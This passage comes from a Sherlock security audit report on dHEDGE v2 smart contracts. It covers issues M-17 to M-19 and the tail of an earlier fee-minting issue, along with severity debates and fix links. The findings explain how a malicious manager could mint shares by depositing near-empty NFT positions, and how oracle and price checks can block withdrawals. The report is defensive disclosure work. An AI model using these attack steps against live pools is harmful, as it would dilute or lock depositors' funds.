The performance fee is calculated by PoolLogic::_mintManagerFee() on the profit earned by a pool since the previous performance fee distribution. The pool distributes the performance fee on every deposit and withdrawal but only when `currentTokenPrice` is greater than `tokenPriceAtLastFeeMint` (ie. the current value per share is higher than the value per share of the last performance fees distribution):

```
...
uint256 currentTokenPrice = _fundValue.mul(10 ** 18).div(_tokenSupply);

if (currentTokenPrice > tokenPriceAtLastFeeMint) {
    available = currentTokenPrice
    .sub(tokenPriceAtLastFeeMint)
    .mul(_tokenSupply)
    .mul(_performanceFeeNumerator)
    .div(_feeDenominator)
    .div(currentTokenPrice);
}
...
```

The variable `tokenPriceAtLastFeeMint` is updated by the PoolLogic::_mintManagerFee() function only when fees are distributed (ie. the `currentTokenPrice` is higher than `tokenPriceAtLastFeeMint`):

```
...
uint256 currentTokenPrice = _tokenPrice(fundValue, tokenSupply);
```

```
if (tokenPriceAtLastFeeMint < currentTokenPrice) {
    tokenPriceAtLastFeeMint = currentTokenPrice;
}
...
```

If at some point during it's lifetime a pool returns to a state where the `totalSupply()` of shares is `0` the variable `tokenPriceAtLastFeeMint` will keep it's current value, but `currentTokenPrice` gets reset to a value `1:1` relative to the amount of dollars deposited.

This results in the performance fee not being distributed until `currentTokenPrice` will be greater than `tokenPriceAtLastFeeMint` again.

Impact

Performance fee is not distributed if a pool reaches a state where `totalSupply()` is `0` during it's lifetime.

Code Snippet

Tool used

Manual Review

Recommendation

After a withdrawal reset the `tokenPriceAtLastFeeMint` to `1e18` if the amount of shares of the pool is `0`.

Discussion

nevillehuang

Is it even possible/likely that totalSupply can reached zero, given the minimum 100_000 shares to be minted? Wouldn't token price recover fast enough to make this issue not really an impact?

zzykxx

It's possible that the pool has 0 shares during its lifetime, the pool enforces a minimum of `100000` or exactly `0` shares. In terms of likelihood, this is very very unlikely.

Let's assume shares are currently valued 2:1 (ie. 2$ = 1e18 shares), meaning a profit of 1$ per share was made up until this point:

1. The shares left are withdrawn and the pool reaches 0 shares in circulation

2. A new deposit is made which will mint shares 1:1 (ie. 1$ = 1e18 shares)
3. These shares value increase to 2:1 again (ie. $2 = 1e18) over time
4. The manager will get 0 performance fee from this increase, which is incorrect

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/947

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-17: `VelodromeCLPriceLibrary::assertFairPrice()` can revert if oracles with a deviation threshold bigger than `0.3%` are used

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/105

Found by

carrotsmuggler, santipu_, zzykxx

Summary

When the deviation threshold of the oracle of an asset in a Velodrome NFT position is greater than `0.3%` all withdrawals could be halted and the manager prevented from increasing liquidity or minting a new NFT positions.

Vulnerability Detail

The function VelodromeCLPriceLibrary::assertFairPrice() is responsible for ensuring that a Velodrome pool current pricing is within an acceptable range. The range is defined as a maximum difference of `0.3%` (or `50%` more than the pool `fee` if the fee is higher than `0.3%`) between the pool "fair price" (ie. the price the pool tokens should have relative to each other based on external oracles) and the "actual price" (ie. the price the pool tokens actually have relative to each other based on the current reserves of the pool):

```
function assertFairPrice(address dhedgeFactory, address velodromeCLPool, uint24
↪  fee) internal view returns (uint160 sqrtPriceX96) {
    IVelodromeCLPool uniPool = IVelodromeCLPool(velodromeCLPool);
    (sqrtPriceX96, , , , , ) = uniPool.slot0();

    // Get a fair sqrtPriceX96 from asset price oracles
    // We pass the tokens in the same order as the pool is configured
    uint160 fairSqrtPriceX96 = getFairSqrtPriceX96(dhedgeFactory,
↪  uniPool.token0(), uniPool.token1());

    // Check that fair price is close to current pool price
    // Threshold for the check is:
    // - minimum of 0.3%, and
    // - 50% higher than pool fee, because the pool may not get arbed if the fee
↪  is high
    uint256 threshold = fee >= MIN_THRESHOLD ? fee.mul(150).div(100) :
↪  MIN_THRESHOLD;
    require(
```

```
        sqrtPriceX96 <
↪   fairSqrtPriceX96.add(fairSqrtPriceX96.mul(threshold).div(1_000_000)) &&
        fairSqrtPriceX96 <
↪   sqrtPriceX96.add(fairSqrtPriceX96.mul(threshold).div(1_000_000)),
        "Velodrome CL price mismatch"
    );
}
```

The function reverts whenever the `sqrtPriceX96` (ie. actual pool price) is not within the `0.3%` range relative to the `fairSqrtPriceX96` (ie. price the pool "should" have based on oracle pricing). This can be problematic if the oracle used to determine the `fairSqrtPriceX96` have a "deviation threshold" greater than `0.3%`.

If, as an example, the assets in the Velodrome pool use oracles with a "deviation threshold" of `0.5%` the price might not get updated until the price change is at least `0.5%`, this could result in VelodromeCLPriceLibrary::assertFairPrice() reverting because the difference between `fairSqrtPriceX96` and `sqrtPriceX96` is bigger than `0.3%`.

VelodromeCLPriceLibrary::assertFairPrice() is used in multiple part of the codebase to ensure the Velodrome pool interacting with the protocol is not imbalanced:

- VelodromeNonfungiblePositionGuard::txGuard(): when increasing liquidity or minting a new NFT position
- VelodromeCLGaugeContractGuard::txGuard(): when increasing liquidity
- VelodromeCLAssetGuard::getBalance(): used in PoolLogic::_withdrawProcessing() whenever a withdrawal is executed

In particular PoolLogic::_withdrawProcessing() is executed on each withdrawal and if VelodromeCLPriceLibrary::assertFairPrice() reverts all of the withdrawals reverts.

One asset that has a `0.5%` deviation threshold is VELO/USD.

Impact

When the deviation threshold of the oracle of an asset in a Velodrome NFT position is greater than `0.3%` all withdrawals could be halted and the manager prevented from increasing liquidity or minting a new position.

Code Snippet

Tool used

Manual Review

Recommendation

Increase the threshold check in VelodromeCLPriceLibrary::assertFairPrice() to the maximum used by the used oracles. This should be `0.5%` but I might have missed some assets with a higher threshold.

Discussion

nevillehuang

Sponsor comments:

> It's a minimum threshold, not a maximum threshold. So if there's a fee of 1%, the threshold should be 1.5%.

nevillehuang

request poc

sherlock-admin4

PoC requested from @zzykxx

Requests remaining: **5**

zzykxx

Chainlink oracles can return wrong prices up to their deviation threshold, if the deviation threshold is higher than the threshold accepted by the protocol the `require` check will not pass.

I'm not sure what a POC for this issue should show. Both the protocol reverting if the price deviates more than the accepted `MIN_THRESHOLD` and chainlink oracles providing wrong prices up to their own deviation threshold are expected behaviours. If `MIN_THRESHOLD` is too low compared to the deviation threshold of the used oracles the protocol reverts in "normal" conditions, which should not happen. Tagging @carrotsmuggler2 and @santipu03 here, maybe they have some insights on how a POC should look.

carrotsmuggler2

POC is not possible for this, since it would require showing a deviation between current prices and chainlink oracles which would somehow involve simulating the oracle itself.

The idea is that if a chainlink pricefeed has 0.5% deviation threshold, then it is EXPECTED that the price will differ from the actual price by 0.5% If 2 price feeds are used in combination, then the error bumps up to 1%.

So the EXPECTED error is higher than the allowed error of 0.45% (which is 150% of 0.3%). So the transactions will not go through even when everything is fine.

Say the dex and actual price is 1000. Chainlink can show a price of 1010 (1% error) and it is EXPECTED. However the contracts will stop working if the dex price deviates by 0.45% from the chainlink price, i.e. if the dex price is anything lower than 1005.45.

So even under normal conditions the contract reverts.

nevillehuang

I think medium is appropriate since there is a non-zero chance of the following happening:

> Depositor under any circumstances should be able to withdraw funds they've invested according to the value of their vault shares given that no lock up is applied

So per sherlock rules, valid medium:

> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity. High severity will be applied only if the issue falls into the High severity category in the judging guidelines.

carrotsmuggler2

This should be a high. This is because this DOS will happen continuously, and cannot be prevented.

This will:

1. Lead to a withdrawal DOS continuously,
2. Cannot be fixed by an admin and will occur randomly
3. Cannot be fixed by the manager.
4. Manager cannot rebalance the portfolio, since any deposits or withdrawals into/from vaults will also be DOSed since the oracle price will deviate.

I would argue that the contract stopping operations and being irrecoverable by the admin or the manager falls under the `Inflicts serious non-material losses` category and thus a high.

zzykxx

Just wanted to add that the issue can be fixed by the admins by upgrading the pools logic. Not sure if this influences the severity or not.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/942

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-18: Managers can deposit NFTs worth nothing while still minting shares

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/108

Found by

zzykxx

Summary

Managers can allow Velodrome/UnsiwapV3 NFT positions as `deposit` assets and deposit NFT positions worth nothing while still minting shares.

Vulnerability Detail

The manager has the possibility of adding all of the valid assets as `deposit` assets to a pool, including NFT assets such as Velodrome/UnsiwapV3 `NonfungiblePositionManager`contracts.

If such assets are deposited the function PoolLogic::_depositFor will calculate their value in dollars incorrectly. The dollar value is calculated via a call to PoolManagerLogic::assetValue:

```
...
uint256 usdAmount = IPoolManagerLogic(poolManagerLogic).assetValue(_asset,
↪  _amount);
...
```

which in turn retrieves the dollar value of the asset via:

```
function assetValue(address asset, uint256 amount) public view override returns
↪  (uint256 value) {
@>  uint256 price = IHasAssetInfo(factory).getAssetPrice(asset);
    uint256 decimals = assetDecimal(asset);
    value = price.mul(amount).div(10 ** decimals);
}
```

This is problematic because for Velodrome/UniV3 NFT positions the asset price returned via PoolFactory::getAssetPrice() is always `1e18`.

Because of this, it's possible for a manager to:

1. Allow NFT liquidity position as valid `deposit` assets
2. Craft an NFT position with `0` or almost zero liquidity

3. Deposit the NFT position via PoolLogic::_depositFor by passing as `amount` the `ID` of the NFT position
4. The NFT position will always be valued based on it's `ID`, for instance a token with ID `500000` would be valued at `500000/1e18 $`
5. More shares can be minted than the actual value of the NFT position

This makes it possible for a manager to mint shares while depositing an asset that is worth nothing.

Impact

A malicious manager can mint a number of shares higher than the value of the asset deposited. The ID of the NFT position must be bigger than `100000` for this to be possible. Two things important to note:

1. This wouldn't be possible right now with Velodrome NFT positions because the current ID is lower than `100000`.
2. This would be possible with UniswapV3 NFT positions but the current ID is `500000`, which would mint an equivalent of `500000/1e18 $` worth of shares which is extremely little.

Code Snippet

Tool used

Manual Review

Recommendation

There should be some sort of whitelist on what tokens are allowed to be added as `deposit` tokens.

Discussion

santipu03

Escalate

I believe this issue should have a medium severity.

As outlined in the report, this attack can only be executed using the UniV3 NFT position, which the current ID is around 500_000. For the attack to be feasible, an attacker would have to create a ton of UniV3 positions depositing a tiny amount of value on each one (way less than 500_000 wei), and deposit each one of them in the Vault.

Even if a manager can do this attack with thousands of Univ3 positions, the manager wouldn't have any profit because the gas spent on each transaction would be higher than the tiny profit that can be achieved using this technique.

The manager could use this attack to grief the Vault users by slightly diluting their shares, but there wouldn't be any profit due to the gas spent. Given these requirements and the lack of profit, I believe this issue warrants medium severity.

sherlock-admin3

> Escalate
>
> I believe this issue should have a medium severity.
>
> As outlined in the report, this attack can only be executed using the UniV3 NFT position, which the current ID is around 500_000. For the attack to be feasible, an attacker would have to create a ton of UniV3 positions depositing a tiny amount of value on each one (way less than 500_000 wei), and deposit each one of them in the Vault.
>
> Even if a manager can do this attack with thousands of Univ3 positions, the manager wouldn't have any profit because the gas spent on each transaction would be higher than the tiny profit that can be achieved using this technique.
>
> The manager could use this attack to grief the Vault users by slightly diluting their shares, but there wouldn't be any profit due to the gas spent. Given these requirements and the lack of profit, I believe this issue warrants medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

zzykxx

> Escalate
>
> I believe this issue should have a medium severity.
>
> As outlined in the report, this attack can only be executed using the UniV3 NFT position, which the current ID is around 500_000. For the attack to be feasible, an attacker would have to create a ton of UniV3 positions depositing a tiny amount of value on each one (way less than 500_000 wei), and deposit each one of them in the Vault.
>
> Even if a manager can do this attack with thousands of Univ3 positions, the manager wouldn't have any profit because the gas spent on each

> transaction would be higher than the tiny profit that can be achieved using this technique.
>
> The manager could use this attack to grief the Vault users by slightly diluting their shares, but there wouldn't be any profit due to the gas spent. Given these requirements and the lack of profit, I believe this issue warrants medium severity.

I agree with this, I'm not sure why this issue has been deemed high severity.

nevillehuang

Agree with escalation, my mistake, likely forgotten to adjust severity

WangSecurity

Agree with the escalation, planning to accept it and downgrade the severity.

WangSecurity

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- santipu03: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/dhedge/dhedge-v2/pull/958

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-19: `VelodromeCLPriceLibrary::calculateSqrtPrice()` can revert for pools in legitimate states

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/117

Found by

zzykxx

Summary

The function VelodromeCLPriceLibrary::calculateSqrtPrice() can revert in some situations preventing users from redeeming their shares.

Vulnerability Detail

The function VelodromeCLPriceLibrary::calculateSqrtPrice() is used to get the square root price of a Velodrome pool given prices returned by oracles:

```
function calculateSqrtPrice(
  uint256 token0Price,
  uint256 token1Price,
  uint8 token0Decimals,
  uint8 token1Decimals
) internal pure returns (uint160 sqrtPriceX96) {
  uint256 priceRatio = token0Price.mul(10 ** token1Decimals).div(token1Price);

  // Overflow protection for the price ratio shift left
  bool overflowProtection;
  if (priceRatio > 10 ** 18) {
    overflowProtection = true;
    priceRatio = priceRatio.div(10 ** 10); // decrease 10 decimals
  }
@> require(priceRatio <= 10 ** 18 && priceRatio > 1000, "VeloCL price ratio out
↪  of bounds");

  sqrtPriceX96 = uint160(DhedgeMath.sqrt((priceRatio << 192).div(10 **
↪  token0Decimals)));

  if (overflowProtection) {
    sqrtPriceX96 = uint160(sqrtPriceX96.mul(10 ** 5)); // increase 5 decimals
↪  (revert adjustment)
  }
}
```

The function reverts if the calculated `priceRatio` is greater than `1e18` or lower than `1000`. Given the assets accepted by Dhedge this requirement might cause reverts in situations where reverts should not happen.

Let's take as example the pair of assets `VELO` and `WBTC`:

- VELO: `token0Price =~ 1e16`, `token0Decimals = 18`
- WBTC: `token1Price =~ 64000e18`, `token1Decimals = 8`

With these parameters, the `priceRatio` will result in:

$$priceRatio = (token0Price \cdot 10^{token1Decimals})/token1Price$$

= (1e16 $\cdot 1e8)/64000e18$
$\sim= 15.62$

which would make the function revert because the result is lower than `1000`.

There are more possible examples given the protocol accepts VelodromeV2 LPs as assets as well, which have a price lower than VELO: the price returned by the Velodrome STABLE_USDC_DAI oracle is `199995051485545 =~ 1e14`.

Impact

The function VelodromeCLPriceLibrary::calculateSqrtPrice() is used by VelodromeCLPriceLibrary::assertFairPrice(), which is used by VelodromeCLAssetGuard::getBalance(), which is used during the withdrawal process. As a consequence VelodromeCLPriceLibrary::calculateSqrtPrice() reverting would prevent anybody from withdrawing.

It's possible for an NFT position to be minted by the manager/trader and enter a state in which VelodromeCLPriceLibrary::calculateSqrtPrice() reverts only after some time.

Code Snippet

Tool used

Manual Review

Recommendation

I'm not sure why and how the `1000` and `1e18` boundaries were established, but consider changing it or removing it.

Discussion

nevillehuang

Per sponsor request, need a PoC to verify complexity of finding.

zzykxx

I tried writing a POC using the project test suite but gave up after some hours of trying. I'll try another route by using chisel and providing references.

In the report example I use two tokens:

- VELO
- WBTC

Dhedge to retrieve the price of a token queries the relative oracle `latestRoundData` function and then adjust the returned results to 18 decimals by multiplying the result by `1e10` (this can be verified here: AssetHandler::getUSDPrice()).

The current returned prices by the oracles when querying `latestRoundData` (oracle addresses are taken from versionsovm-versions.json), are:

- VELO ORACLE: `11115993`, which adjusts to `11115993*1e10`
- WBTC ORACLE: `6140654827573`, which adjusts to `6140654827573*1e10`

You can use chisel to verify that VelodromeCLPriceLibrary::calculateSqrtPrice() would revert when these numbers are plugged in:

1. Open terminal and type `chisel`
2. Copy-paste the following and then press `enter`:

```
function calculateSqrtPrice(uint256 token0Price,uint256 token1Price,uint8
↪  token0Decimals,uint8 token1Decimals) internal pure returns (uint256
↪  priceRatio) {
  return (token0Price * (10 ** token1Decimals)) / (token1Price);
}
```

3. Copy-paste the following and the press `enter`:

```
calculateSqrtPrice(11115993*1e10, 6140654827573*1e10, 18, 8)
```

The returned value is `181`, which is lower than `1000` thus VelodromeCLPriceLibrary::calculateSqrtPrice() will revert in this case.

nevillehuang

@zzykxx Thanks alot for your efforts. Whats the likelihood of this occuring and can it cause a permanent DoS in withdrawals? If not medium severity seems more appropriate.

@kent426 Could I ask what is the intention of this limits?

kent426

maybe @itsermin and @D-Ig can help and take a look at it as well?

zzykxx

> @zzykxx Thanks alot for your efforts. Whats the likelihood of this occuring and can it cause a permanent DoS in withdrawals? If not medium severity seems more appropriate.

I don't know how I can quantify the likelihood. At current valuations every very pair of a token `X` and `WBTC` (where `WBTC` is `token1`) reverts when `X` is valued less than `~0.6$`. The require statement reverts when either:

- `token0` has a low price and `token1` has high price and low decimals
- `token0` has high price and `token1` has low price and high decimals

The NFT position needs to be minted by the manager when the require doesn't revert. If at some point, due to price changes, the require statement reverts while the NFT position is already deposited that would make all withdrawals attempt revert.

A manager/trader can "fix" the situation by first decreasing liquidity and then burning the NFT position (in both these operations calculateSqrtPrice() is not called). Managers/traders are not trusted, this implies a manager/trader could never fix this or try to create the situation on purpose. The admins can "fix" the situation by upgrading the pool implementations.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/943

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.